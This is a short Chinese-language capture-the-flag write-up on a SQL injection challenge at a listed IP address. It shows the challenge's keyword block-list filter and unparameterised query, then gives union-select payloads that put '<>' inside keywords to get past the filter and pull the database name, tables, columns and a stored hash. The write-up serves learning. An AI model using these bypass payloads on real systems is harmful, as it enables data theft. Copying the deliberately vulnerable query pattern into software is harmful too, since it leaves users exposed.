注入地址:http://103.238.227.13:10087/index.php?id=1
//過濾sql $array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit'); foreach ($array as $value) { if (substr_count($id, $value) > 0) { exit('包含敏感關鍵字!'.$value); } } //xss過濾 $id = strip_tags($id); $query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
可見該過濾的都過濾了的。一般的繞過還真沒辦法。但是為防止XSS把<>之類的給過濾了。那么就有那么一個姿勢sel<>ect如此便可以繞過。
爆數據庫
http://103.238.227.13:10087/index.php?id=-1/index.php?id=-1 unio<>n sele<>ct 1,database()#
爆表
http://103.238.227.13:10087/index.php?id=-1/index.php?id=-1+unio<>n+sele<>ct+1,concat(group_concat(distinct+tab<>le_name))+fro<>m+info<>rmation_schema.ta<>bles+where+ta<>ble_schema=0x73716C33--#
爆列
http://103.238.227.13:10087/index.php?id=-1+uni<>on+sele<>ct+concat(group_concat(distinct+col<>umn_name)),2+f<>rom+info<>rmation_sc<>hema.colu<>m<>ns+where+tab<>le_schema=0x73716C33#+
爆內容
http://103.238.227.13:10087/index.php?id=-1 unio<>n sele<>ct 1,hash fro<>m sql3.key#
重點是最后的sql3.key有個坑。按照平常是直接:
http://103.238.227.13:10087/index.php?id=-1 unio<>n sele<>ct 1,hash fro<>m key#
但是這樣是不行的。
原因其實挺簡單的這里是CTF的套路。這不知道還真以為是什么。
如上圖所示,其實他本身的SQL語句類似:select * from sql3.key where id = 1
他前面使用的是sql3.key也就是說他並沒有use所以你直接select * from sql3.key where id =1 union select 1,2 from key是不行的。因為他沒有使用sql3這個數據庫(但是執行union select 1,database()的時候還是可以顯示sql3這個數據庫出來的)所以key根本不存在。自然也就不行!感謝米哥指導。太機智了。真心佩服出題人。真想對他說。老子真的服了U